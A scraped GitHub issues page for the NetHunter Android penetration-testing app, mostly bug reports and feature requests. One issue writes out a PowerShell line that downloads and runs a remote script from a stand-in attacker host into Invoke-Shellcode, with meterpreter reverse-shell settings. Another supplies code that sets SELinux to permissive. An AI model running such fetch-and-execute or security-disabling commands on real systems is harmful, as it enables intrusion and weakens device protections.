offensive-security / nethunter-app Goto Github PK
View Code? Open in Web Editor NEWNetHunter android application
NetHunter android application
If kali terminal instance already running, Nethunter app is unable to open new terminal instances and run commands in them. You have to close all terminals and then launch command from Nethunter app.
suggestion:
@binkybear @jmingov
I wonder if we can set up a real captive portal website when launching the mana toolkit.
So far as I know, we can do it using no start-noupstream.sh script, but it doesn't give network access to every clients, it just simply like spoofing the dns forces clients always redirect to our fake portal website.
So, what I want is every clients who have connected to my wifi ap will be automatically directed to my captive portal website first, and once they have finished registration or something agreement of term of use, then they will be able to browse any website they want as usual. As I think this is really a good way to get all the clients hooked as long as they connect to the AP.
I found a article mentioned about this, but don't know whether it works or not.
Using_iptables_and_PHP_to_create_a_captive_portal
I have also tried to followed the steps but definitely something should be set up differently like the iptable configure.
Anyway, I don't know which part should be corrected. That's why I am asking for help.
The title says it all, I would like to be able to paste the MAC from the clipboard on the MAC changer's text box.
and also, now we are able to copy and paste stuff from inside the terminal to the outside but it doesn't vice versa from chrome. for example, I'm not able to paste a command that is in a website, but I can paste the URL.. it seems to be some sort of bug.
Hi,
I just installed NetHunter on my Nexus 5 - 5.1.1. and try to use BadUsb MITM Attack. But nothing happen. badusb.log is showing follow message
"tmp-mksh:[1]:start-badusb-lollipop: not found
I tried to run this command
su
/sdcard/files/startbadusb-lollipop.sh
I got this one
tmp-mksh: /sdcard/files/startbadusb-lollipop.sh: can't execute: Permission denied
What's mean? How to fix?
Thanks.
Would it be possible to add a option to manually change the USB Vendor and Product IDs when executing HID attacks? Some HIPSs block Android Vendor IDs or lock down the workstation to only execute keyboard commands from a keyboard with a specific Vendor or Device ID. I know you can change them by editing a file in /dev/ but being able to do so from the app would be a lot more practical.
A front end for Mana EAP scripts would be really useful. Currently i am running the latest apk from the offensive-security website and it only has front ends for the regular MANA script and hostapd-karma. Also i noticed the hostapd-wpe directories were missing (certs: ./bootstrap etc.)
Hi guys,
I was installing Nethunter via Kali-linux and I followed the main documentation step by step, then I came across a problem because I was using USB 3.0 (I'm guilty because I did not use USB 3.0 or else I know everything would have ran perfectly).
Main question is
i am running nethunter on nexus 7 2012 3G (nakasig/tilapia) with custom rom (CM12.1) and kernel.
wifite could not find the wlan1 connected via usb. when i run the terminal via nethunter app, lsusb list the device as follows:
148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
however ifconfig and iwconfig does not show the connected device. ive tried several several different devices and other usb cables including externally powered ones. ive even tried different kernel but below is the current one that i am using now:
Linux version 3.1.10-oxydo-revamp#3+ (sgtmeow@sgtmeow-pc) (gcc version 4.9.4 20150715 (prerelease) (UBERTC-4.9.4) ) #5 SMP PREEMPT Thu Jul 16 22:34:53 BDT 2015
can someone please help me out - what am i missing here?
suggestion: Create a GUI for bettercap as sqlmap that looks like the one in mitmf. it would be useful.
in sqlmap, I saw a project using web interface. It's not a bad idea
Thanks @sizzop for thouse keystrokes!
win - "cmd" - right click (context menu) - down arrow - enter - left arrow - enter
@binkybear ^^
Hello,
I just noticed that if I have MANA running, and remove the Wi-Fi adapter for any reason, the tablet crashes. However, if I turn it off first, it doesn't. I think it would be nice to have some sort of indication, sort of like the kali services page, telling when some of these attacks are active. Same thing with the BadUSB attack too.
Also, for all the attacks, I think it would be nice to move (or duplicate if you want to keep it in the menu) the "Execute attack" button from the menu, to somewhere on the page itself, making it easier to press.
Hope you take these ideas at least into consideration.
Thanks!
Hi,
today I installed all on my Nexus 5 (App, Chroot, etc...).
When I try to open something that need to be executed in a terminal a message appears: "Error launching intent. Install Android Terminal!"
I installed the "Android Terminal" app of Jack Malevich, the same app that was installed in previous version of Nethunter but the problem persists.
Anyone had the same issue?
Regards
I haven't narrowed this down yet, but I'm opening the issue anyway. Hoping you guys can give me a hint or have me test something to help narrow this down.
"occasionally" when I reboot my phone with the external antenna plugged into an OTG cable, the nethunter app will appear as it does in the below screenshot. when this issue manifests, it seems like every subsequent launch of the app will behave the same way, including after a fresh reboot. UNTIL I reboot the device without the external wifi adapter plugged in. Then it appears to work fine until the next "random" (I use the word, even though I know it's not random, it's just hard to reproduce) time it occurs.
This is using the latest Kali-Nethunter build taken from the top of the 'development' branch. The device is a OnePlus One (bacon) running stock firmware 4.4.4
I've managed to compile a custom kernel for Samsung GT-I9300 which runs with CM-12.1 and nethunter (kali2 branch) rootfs. HID wasn't working, but running the scripts by hand does ("bootkali hid-cmd --de" for example).
The Problem could be brought down to missing exclamation marks. Changing
command[0] = "su -c bootkali hid-cmd --" + lang;
to
command[0] = "su -c "bootkali hid-cmd --" + lang + """;
in HidFragment.java solves the problem. This comes true for all command[0] strings in HidFragment.java
and DuckHunterFragment.java.
Another problem in bringing duckhunter to work is the absence of /sdcard/files/modules/duckhunter.py - maybe I was missing something, building the rootfs, but it seems duckhunter.py isn't present in the git-repo of nethunter (neither master nor kali2 branch).
Could you be so Kind and fix the issue in the nethunter.apk delivered with the nethunter sources, because I'm not able to sign a release version of the recompiled apk.
BTW - I used eclipse to build the apk and have had problems with the BuildConfig.* variables, which needed to be removed in order to make this Thing compile (eclipse seems to be ignoring build.gradle).
Additional question: Where is the "Start Webserver" Option which could be seen in the official offensive-security Videos - for remote activities it would be much better to use a web-based app than the apk
Some refractor etc .
I find that the area that Nethunter is lacking the most in is controlling a box after access has been gained. A easy way to solve this would be to implement a MSFRPC/msgpack client into the Nethunter app to communicate with Armitage teamservers to do things like setup listeners, run post modules and run exploit modules etc. This would be less resource intensive and easier to use on android then Running Armitage through VNC .
I get this error when trying to launch vnc server or any other actions that require terminal. I am using terminal emulator for Android from the play store... Any thoughts?
Right now it is only possible to scroll the configuration files within the app using the arrow keys on the keyboard. It would be awesome to allow scrolling with your fingers, to get to the areas you need to edit quicker.
Hello! I can't get mana toolkit or bad usb to work because of nethunter can't seem to find the directory or files in terminal. I have no problem looking into the folder with รS file explorer and all files seem to be there. Someone know how to fix this?
Scanning, for example, 192.168.0.1 from NMAP tab results in:
nmap 192.168.0.1 192.168.0.1
What is inside?
Where to download the file hostapd-wpe.eap_user?
Thanks for the fixes in #113 - huge thanks to @jmingov in particular. Unfortunately "-Payload windows/meterpreter/reverse_https -Lhost 192.168.1.19 -Lport 4457" are no longer parameters of Invoke-Shellcode. It only takes a -Shellcode
, -ProcessId
, and -Force
. I attempted to use an older version of Invoke-Shellcode but unfortunately while it did work, the updated version of Metasploit no longer accepts the payload built into them.
So my suggestions would be:
URL to Payload
(just the text) in the app, to URL to Invoke-Shellcode.ps1
so that it's clearer what is happening/needed.iex (New-Object Net.WebClient).DownloadString("www.badguy.com:8080"); Invoke-Shellcode -Force
where www.badguy.com:8080
is the URL from the URL to Payload
option as it is now.The other option is to make it much more generic and just have the URL option and tell them it needs to be an executable powershell script and then the only thing you need to worry about is "URL to Payload" and plug it into the DownloadString.
Hi guys,
So I'm running CM 13.1 on my OPO and I built and flashed nethunter 3.1 (using the -m flag) and it mostly works fine, aside from the macchanger.
When I try to set a mac using the MAC Changer it successfully writes to the /sys/devices/fb000000.qcom,wcnss-wlan/wcnss_mac_addr file, and the wifi is restarted but the new mac isn't used.
I then tried enabling airplane mode then disabling and re-enabling wifi, and the new mac was then taken successfully.
Please note: I've been tinkering and have updated the kali chroot to kali-rolling to see what/if issues arise, but this does not seem related as it writes to the android file successfully and restarts the wifi successfully.
I'm happy to reflash and/or test if helpful.
So often times on a pen test Mana is less useful as a targeted evil twin attack (we only care about impersonating one network) and we often only need to capture WPA-enterprise credentials, usually that means using hostapd-wpe. Would it be possible to add hostapd-wpe to the Nethunter repository and add to the nethunter app a front end to hostapd-wpe (GUI based config and tail of hostapd-wpe's credential log)?
Hi I am a android newb so I don't know if the nethunter app is bugged or if I just failed at compiling it but when I try and build the nethunter-app from source I get this error message:
aapt package -M ./AndroidManifest.xml
./AndroidManifest.xml:2: error: No resource identifier found for attribute 'versionCode' in package 'android'
./AndroidManifest.xml:2: error: No resource identifier found for attribute 'versionName' in package 'android'
./AndroidManifest.xml:8: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:9: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:10: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:11: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:13: error: No resource identifier found for attribute 'minSdkVersion' in package 'android'
./AndroidManifest.xml:13: error: No resource identifier found for attribute 'targetSdkVersion' in package 'android'
./AndroidManifest.xml:17: error: No resource identifier found for attribute 'allowBackup' in package 'android'
./AndroidManifest.xml:17: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:17: error: No resource identifier found for attribute 'icon' in package 'android'
./AndroidManifest.xml:17: error: No resource identifier found for attribute 'theme' in package 'android'
./AndroidManifest.xml:23: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:23: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:23: error: No resource identifier found for attribute 'configChanges' in package 'android'
./AndroidManifest.xml:27: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:28: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:30: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:31: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:36: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:36: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:36: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:41: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:42: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:44: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:44: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:49: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:49: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:49: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:54: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:55: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:57: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:57: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:62: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:62: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:62: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:67: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:68: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:70: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:70: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:75: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:75: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:75: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:75: error: No resource identifier found for attribute 'windowSoftInputMode' in package 'android'
./AndroidManifest.xml:81: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:82: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:84: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:84: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:88: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:88: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:88: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:88: error: No resource identifier found for attribute 'windowSoftInputMode' in package 'android'
./AndroidManifest.xml:94: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:95: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:97: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:97: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:101: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:101: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:101: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:101: error: No resource identifier found for attribute 'windowSoftInputMode' in package 'android'
./AndroidManifest.xml:107: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:108: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:110: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:110: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:129: error: No resource identifier found for attribute 'targetActivity' in package 'android'
./AndroidManifest.xml:129: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:129: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:129: error: No resource identifier found for attribute 'windowSoftInputMode' in package 'android'
./AndroidManifest.xml:135: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:136: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:138: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:138: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:143: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:143: error: No resource identifier found for attribute 'windowSoftInputMode' in package 'android'
./AndroidManifest.xml:143: error: No resource identifier found for attribute 'label' in package 'android'
./AndroidManifest.xml:147: error: No resource identifier found for attribute 'name' in package 'android'
./AndroidManifest.xml:147: error: No resource identifier found for attribute 'value' in package 'android'
./AndroidManifest.xml:17: error: Error: No resource found that matches the given name (at 'label' with value '@string/app_name').
./AndroidManifest.xml:17: error: Error: No resource found that matches the given name (at 'icon' with value '@drawable/ic_launcher').
./AndroidManifest.xml:17: error: Error: No resource found that matches the given name (at 'theme' with value '@style/AppTheme').
./AndroidManifest.xml:23: error: Error: No resource found that matches the given name (at 'label' with value '@string/app_name').
./AndroidManifest.xml:27: error: Error: No resource found that matches the given name (at 'label' with value '@string/app_nav_home_label').
./AndroidManifest.xml:36: error: Error: No resource found that matches the given name (at 'label' with value '@string/KaliLauncherLabel').
./AndroidManifest.xml:49: error: Error: No resource found that matches the given name (at 'label' with value '@string/kali_services_label').
./AndroidManifest.xml:62: error: Error: No resource found that matches the given name (at 'label' with value '@string/hid_label').
./AndroidManifest.xml:75: error: Error: No resource found that matches the given name (at 'label' with value '@string/badusb_label').
./AndroidManifest.xml:88: error: Error: No resource found that matches the given name (at 'label' with value '@string/mana_label').
./AndroidManifest.xml:101: error: Error: No resource found that matches the given name (at 'label' with value '@string/dnsmasq_label').
./AndroidManifest.xml:129: error: Error: No resource found that matches the given name (at 'label' with value '@string/iptables_label').
One of the most annoying steps in using Nethunter in a pen test is setting up a USB interface to connect to a wireless network in the chroot from the terminal app, would it be possible to make a pane in the nethunter app to automate the process?
Currently the nethunter-utils package installs the dumpmifare script to /usr/bin/dumpmifare.sh but the nethunter app in it's stored command app looks for this script under the name /usr/bin/dumpmifare (sans extension) a work around is to make a symlink between the two but either the nethunter-utils package or the default stored command in the android app should be synced with the appropriate file name.
Hi, I am very sorry for the silly question:
Can you explain me how the HID works? i mean, what should I do in order to use the meterpreter in my kali linux to control the victim's computer ?
I've tried to just execute the powersploit attack with the configured port and host, but nothing happens, I mean the cmd shows a lot of 'unrecognized' as in wrong commands...
I haven't put anything in the URL (i dont know what to put there)
Again, sorry for the question, I'll understand if you laugh at me...
I just built a flashable zip installer for the OnePlus 3 and got an ERROR 1 while the install process on TWRP.
Recovery log attached.
I know that is error set policy selinux permissive from startup. (Sorry my poor English) So, I think it is more convenient, activate it when necessary, that is, when we start the nethunter app. Here is my contribution:
// Set SELinux to permissive
private static final String COMMAND = "su 0 setenforce 0";
try {
Runtime.getRuntime().exec(COMMAND);
} catch (IOException e) {
e.printStackTrace();
}
and equal but contrary when close nethunter app. I spoke with binkybear about setenforce in bootkali and killkali files, i think in app is more efficient.
Thanks
Hi Jaime,
I spent two hours to make this app work but no success.
Here is the screenshot from my Eclipse:
As you can see, all errors are:
- R cannot be resolved to a variable
and R.java file is not generated.
Usually that means there is a problem with xml files or some other resource missing (icon?)
(I'm only guessing...).
Any help is welcome.
Cheers,
Ivan
Hey.
@binkybear in another commit in nethunter-utils , you mentioned that you intended to set up a custom Powershell upload technique. I've started work on this (not yet committed), but I'd like to know if this is something that I should continue working on.
Thanks.
When I open the app, and click "Kali Launcher > Launch Wifite" I'm getting an error in wifite that says "airmon-ng requires the program iw" and then it quits and dumps me to a shell. This is on a OnePlus One, running stock firmware (4.4.4) and with Kali-Nethunter taken from the tip of the development branch using the androidmenu.sh script to build a rootFS and kernel for bacon.
Side menu is not available from all screens, just from first three (NetHunter Home, Kali Launcher and Kali services control).
I'll rewrite all activites as fragments to make possible to open side menu on any screen.
On the "fattire-rebased" branch, the variable "dir" is set to null instead of "arm" because of an incomplete check of arm64 devices. As you can see here, the architecture is expected to say "arm", which is true in most "arm64" devices. However, some devices such as mine, the Samsung S5 say that they are "aarch64" instead, which fails the test. The solution is to do a check for either "arm" or "aarch64" by changing line 145 to this:
FROM: if (ARCH.contains("arm")) {
TO: if (ARCH.contains("arm") || ARCH.contains("aarch64")) {
Special thanks to @fat-tire who SO PATIENTLY walked me through installing Android Studio and teaching me how to use github's desktop app and everything so that I could build it on Windows.
Be sure to follow him on twitter at @fat__tire. (you're welcome)
If I choose, from the menu, UAC Bypass Windows 7 and Language Spanish, click update, then switch tabs to another (say for example Nethunter Home) and then back again, the settings I chose from the menu are reset back to normal (No UAC bypass and English).
Is it possible to retain these settings while switching tabs?
As advice i would suggest to do a guide for newbies on how to import the .apk to the android studio app. for further development
hello @binkybear
i hv been having a strange issue.
i compiled the app on my pc and even then i didnt see the new iptables side menu item.
i digged a little and got a array that seemed suspicious in sideview.java
public String[][] querySampleActivities() {
Intent intent = new Intent(Intent.ACTION_MAIN, null);
intent.setPackage(getActivity().getPackageName());
intent.addCategory(Intent.CATEGORY_SAMPLE_CODE);
PackageManager pm = getActivity().getPackageManager();
List<ResolveInfo> infos = pm.queryIntentActivities(intent, 0);
final int count = infos.size();
int total = count;
if (Build.VERSION.SDK_INT >= 21) {
total = count-1;
}
String[] activityNames = new String[total];
String[] activityActions = new String[total];
for (int i = 0; i < count; i++) {
final ResolveInfo info = infos.get(i);
final CharSequence labelSeq = info.loadLabel(pm);
if (!labelSeq.toString().equals("Iptables Configuration") || Build.VERSION.SDK_INT < 21) {
String label = labelSeq != null ? labelSeq.toString() : info.activityInfo.name;
activityNames[i] = label;
activityActions[i] = info.activityInfo.name;
}
}
return new String[][]{activityNames, activityActions};
}
could you please explain the cause of the problem .
it will help me if u would explain the mechanism of listview .
Rewriting comands passed to the terminal apk in su -c cmd1; cmd2
format for compatibility.
offensive-security/kali-nethunter#121
@Gh0u1L5
Receive EACCES Permission Denied when attempting to update all configuration files through application (/sdcard/files).
I see read/write access in the manifest:
nethunter-app/AndroidManifest.xml
Line 10 in 3e85839
So I'm not sure if it has something to do with install process.
Just a couple of handy features.
so the most recent update to the nethunter app for what ever reason does not save the configuration for powersploit or does not load it at run time because upon exiting and restarting the app the fields are not repopulated.
If you start all Kali Services and reenter Services menu at once - only SSH, apache, dnsmasq beef and openvpn will be actually running (beef and openvpn will be shown as disabled, but they work, so just need to fix toggle on/of f ).
Looking at nethunter.apk, for example, we can see, that Metasploit starts using
$busybox chroot $mnt service metasploit start
but "service metasploit start" will return "unrecognized service" in NH (tried with sana and rolling repos).
metasploit works, RPC server can be started and connected to, so maybe service starting commands in Nethunter.apk need to be reviewed.
(how about manually adding/editing service functions, just like Kali Commands, by the way)
Talked w/binkybear- wasn't sure what the license was... I vote for GPLv3 but anyhoo...
Metasploit Payload Generator has been updated to include APK generation
g0tmi1k/msfpc@eb2279a
possible to add?
It looks like on app version 3.15 the app crashes when loading large duckhunter scripts (only noticed this issue after updating to app version 3.15).
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.